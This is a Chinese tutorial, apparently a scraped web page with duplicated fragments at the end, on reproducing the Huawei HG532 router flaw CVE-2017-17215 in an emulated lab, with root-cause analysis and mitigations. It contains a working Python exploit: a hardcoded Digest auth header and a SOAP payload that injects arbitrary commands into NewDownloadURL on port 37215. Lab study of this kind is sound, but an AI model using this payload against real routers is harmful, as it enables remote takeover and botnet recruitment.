CVE-2017-17215 华为HG532路由器RCE漏洞复现教学文档<\/h1>

漏洞概述<\/h2>
漏洞编号<\/strong>：CVE-2017-17215
影响设备<\/strong>：华为HG532路由器
漏洞类型<\/strong>：远程命令执行（RCE）
发现者<\/strong>：Check Point安全研究人员
风险等级<\/strong>：高危<\/p>

漏洞描述<\/h3>
该远程命令执行漏洞存在于华为HG532路由器的TR-064协议实现中。攻击者可通过37215端口（UPnP服务）远程利用此漏洞。华为设备中的UPnP实现通过37215端口暴露在广域网中。<\/p>
从设备的UPnP描述中可以发现名为"DeviceUpgrade"的服务，该服务通过向"\/ctrlt\/DeviceUpgrade_1"（controlURL）发送请求来执行固件升级操作。漏洞存在于服务对"NewStatusURL"和"NewDownloadURL"参数的处理过程中，攻击者可通过在这些参数中注入shell元字符"$（）"来执行任意命令。<\/p>
环境搭建<\/h2>
网络环境配置<\/h3>
创建网桥配置（net1.sh）<\/h4>
#!\/bin\/sh <\/span><\/span><\/span><\/span>#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口<\/span> <\/span><\/span>sudo brctl addbr br0 # 添加一座名为 br0 的网桥<\/span> <\/span><\/span>sudo brctl addif br0 ens33 # 在 br0 中添加一个接口<\/span> <\/span><\/span>sudo brctl stp br0 off # 如果只有一个网桥，则关闭生成树协议<\/span> <\/span><\/span>sudo brctl setfd br0 1<\/span> # 设置 br0 的转发延迟<\/span> <\/span><\/span>sudo brctl sethello br0 1<\/span> # 设置 br0 的 hello 时间<\/span> <\/span><\/span>sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口<\/span> <\/span><\/span>sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口<\/span> <\/span><\/span>sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址<\/span> <\/span><\/span>sudo brctl show br0 # 查看虚拟网桥列表<\/span> <\/span><\/span>sudo brctl showstp br0 # 查看 br0 的各接口信息<\/span> <\/span><\/span><\/code><\/pre>网络转发配置（net2.sh）<\/h4> #! \/bin\/sh <\/span><\/span><\/span><\/span>sudo sysctl -w net.ipv4.ip_forward=<\/span>1<\/span> <\/span><\/span>sudo iptables -F <\/span><\/span>sudo iptables -X <\/span><\/span>sudo iptables -t nat -F <\/span><\/span>sudo iptables -t nat -X <\/span><\/span>sudo iptables -t mangle -F <\/span><\/span>sudo iptables -t mangle -X <\/span><\/span>sudo iptables -P INPUT ACCEPT <\/span><\/span>sudo iptables -P FORWARD ACCEPT <\/span><\/span>sudo iptables -P OUTPUT ACCEPT <\/span><\/span>sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE <\/span><\/span>sudo iptables -I FORWARD 1<\/span> -i tap0 -j ACCEPT <\/span><\/span>sudo iptables -I FORWARD 1<\/span> -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT <\/span><\/span><\/code><\/pre>分别运行上述两个脚本后，网络拓扑结构如下：<\/p> 外部网络（windows主机） ↑↓ (物理网卡 ens33\/eth0 挂在 br0 上) ubuntu (br0 获取公网\/局域网 IP) ↑↓ (网桥 br0，二层交换) tap0 (QEMU 虚拟机的虚拟网卡) ↑↓ QEMU 虚拟机（运行华为路由器固件） <\/code><\/pre> QEMU环境配置<\/h3> 资源下载<\/h4> 下载MIPS架构的内核和镜像文件：<\/p> 内核：vmlinux-2.6.32-5-4kc-malta<\/li> 镜像：debian_squeeze_mips_standard.qcow2 下载地址：https:\/\/people.debian.org\/~aurel32\/qemu\/mips\/<\/li> <\/ul> 启动脚本（run.sh）<\/h4> #!\/bin\/bash <\/span><\/span><\/span><\/span># run.sh<\/span> <\/span><\/span>sudo qemu-system-mips \ <\/span><\/span><\/span><\/span> -M malta -kernel vmlinux-2.6.32-5-4kc-malta \ <\/span><\/span><\/span><\/span> -hda debian_squeeze_mips_standard.qcow2 \ <\/span><\/span><\/span><\/span> -append "root=\/dev\/sda1 console=tty0"<\/span> \ <\/span><\/span><\/span><\/span> -net nic,macaddr=<\/span>00:16:3e:00:00:01 \ <\/span><\/span><\/span><\/span> -net tap <\/span><\/span><\/code><\/pre>QEMU网络配置<\/h4> 启动QEMU后使用默认账号密码登录：root\/root<\/li> 运行ip a<\/code>查看网卡信息<\/li> 编辑网络配置：nano \/etc\/network\/interfaces<\/code><\/li> 将网卡名称改为实际显示的名称（如eth1）<\/li> 激活网卡：ifup eth1<\/code>获取IP地址<\/li> 验证网络连通性：确保Ubuntu和QEMU可以互相ping通<\/li> <\/ol> 漏洞复现步骤<\/h2> 1. 准备目标环境<\/h3> 在Ubuntu中新开终端通过SSH连接QEMU：<\/p> ssh -o HostKeyAlgorithms=<\/span>ssh-rsa root@192.168.111.132 <\/span><\/span><\/code><\/pre>如遇已知主机密钥冲突，清除旧记录：<\/p> ssh-keygen -f '\/home\/lontan0\/.ssh\/known_hosts'<\/span> -R '192.168.111.132'<\/span> <\/span><\/span><\/code><\/pre>2. 传输文件系统<\/h3> 将binwalk解压出的文件系统传输到QEMU中：<\/p> scp -o HostKeyAlgorithms=<\/span>ssh-rsa -r .\/squashfs-root root@192.168.111.132:\/root\/ <\/span><\/span><\/code><\/pre>注意<\/strong>：如遇到路径错误，需先在QEMU中创建目标目录。<\/p> 3. 定位服务端口<\/h3> 在文件系统中搜索服务端口：<\/p> grep -r '37215'<\/span> <\/span><\/span><\/code><\/pre>4. 启动服务<\/h3> 运行\/bin\/mic<\/code>文件启动服务，在Ubuntu中验证服务是否开启：<\/p> nc -vv 192.168.111.132 37215<\/span> <\/span><\/span><\/code><\/pre>预期输出：Connection to 192.168.111.132 37215 port [tcp\/*] succeeded!<\/code><\/p> 5. 执行漏洞利用<\/h3> 使用以下Python脚本进行漏洞利用：<\/p> import<\/span> requests <\/span><\/span> <\/span><\/span>Authorization =<\/span> "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=\/ctrlt\/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"<\/span> <\/span><\/span> <\/span><\/span>headers =<\/span> {"Authorization"<\/span>: Authorization} <\/span><\/span> <\/span><\/span>print("-----CVE-2017-17215 HUAWEI HG532 RCE-----<\/span>\n<\/span>"<\/span>) <\/span><\/span> <\/span><\/span>cmd =<\/span> input("command > "<\/span>) <\/span><\/span> <\/span><\/span>data =<\/span> f<\/span>''' <\/span><\/span><\/span><?xml version="1.0" ?> <\/span><\/span><\/span><s:Envelope s:encodingStyle="http:\/\/schemas.xmlsoap.org\/soap\/encoding\/" xmlns:s="http:\/\/schemas.xmlsoap.org\/soap\/envelope\/"> <\/span><\/span><\/span> <s:Body> <\/span><\/span><\/span> <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <\/span><\/span><\/span> <NewStatusURL>;mkdir lontan0;<\/NewStatusURL> <\/span><\/span><\/span> <NewDownloadURL>;<\/span>{<\/span>cmd}<\/span>;<\/NewDownloadURL> <\/span><\/span><\/span> <\/u:Upgrade> <\/span><\/span><\/span> <\/s:Body> <\/span><\/span><\/span><\/s:Envelope> <\/span><\/span><\/span>'''<\/span> <\/span><\/span> <\/span><\/span>r =<\/span> requests.<\/span>post('http:\/\/192.168.111.132:37215\/ctrlt\/DeviceUpgrade_1'<\/span>, headers =<\/span> headers, data =<\/span> data) <\/span><\/span>print("<\/span>\n<\/span>status_code: "<\/span> +<\/span> str(r.<\/span>status_code)) <\/span><\/span>print("<\/span>\n<\/span>"<\/span> +<\/span> r.<\/span>text) <\/span><\/span><\/code><\/pre>漏洞原理分析<\/h2> 服务启动流程<\/h3> main函数<\/strong>：包含网络服务初始化的核心调用<\/li> init函数<\/strong>：循环初始化m_astInetdApps数组中的5个服务<\/li> UPnP服务<\/strong>：监听37215和37443两个端口<\/li> <\/ol> 漏洞根本原因<\/h3> mic文件启动TR-064服务并在37215端口监听<\/li> 固件未限制服务只能绑定在内网接口，导致绑定到0.0.0.0（所有接口）<\/li> 服务暴露在广域网侧，互联网上的攻击者可直接向该端口发送特制SOAP数据包<\/li> <\/ul> 漏洞触发点分析<\/h3> ATP_UPNP_Init函数<\/strong>：UPnP框架初始化<\/li> 服务注册函数<\/strong>：注册UPnP设备和服务<\/li> 功能注册数组<\/strong>：存放服务所有功能函数的地址<\/li> DeviceUpgrade服务<\/strong>：第一个功能函数sub_407B20存在漏洞<\/li> <\/ol> 漏洞具体实现<\/h3> 漏洞函数从SOAP请求中提取NewDownloadURL和NewStatusURL参数，未进行任何过滤直接拼接后通过system()函数执行，导致命令注入。<\/p> 参考资源<\/h2> CVE-2017-17215 华为HG532路由器RCE漏洞复现 | XiDP<\/li> 华为路由器漏洞CVE-2017-17215复现分析-先知社区<\/li> 华为家用路由器在僵尸网络招募中——Check Point研究<\/li> <\/ol> 防护建议<\/h2> 及时更新固件版本<\/li> 限制UPnP服务仅在内网接口绑定<\/li> 对用户输入参数进行严格过滤和验证<\/li> 避免使用system()等危险函数执行用户可控数据<\/li> <\/ol> 注意<\/strong>：本教学文档仅用于安全研究和教育目的，请勿用于非法用途。<\/p>

CVE-2017-17215 华为HG532路由器RCE漏洞复现教学文档<\/h1>

漏洞概述<\/h2> 漏洞编号<\/strong>：CVE-2017-17215 影响设备<\/strong>：华为HG532路由器 漏洞类型<\/strong>：远程命令执行（RCE） 发现者<\/strong>：Check Point安全研究人员 风险等级<\/strong>：高危<\/p>

环境搭建<\/h2>

网络环境配置<\/h3>

QEMU环境配置<\/h3>

漏洞复现步骤<\/h2>

漏洞原理分析<\/h2>

漏洞具体实现<\/h3> 漏洞函数从SOAP请求中提取NewDownloadURL和NewStatusURL参数，未进行任何过滤直接拼接后通过system()函数执行，导致命令注入。<\/p>

漏洞概述<\/h2>
漏洞编号<\/strong>：CVE-2017-17215
影响设备<\/strong>：华为HG532路由器
漏洞类型<\/strong>：远程命令执行（RCE）
发现者<\/strong>：Check Point安全研究人员
风险等级<\/strong>：高危<\/p>

漏洞具体实现<\/h3>
漏洞函数从SOAP请求中提取NewDownloadURL和NewStatusURL参数，未进行任何过滤直接拼接后通过system()函数执行，导致命令注入。<\/p>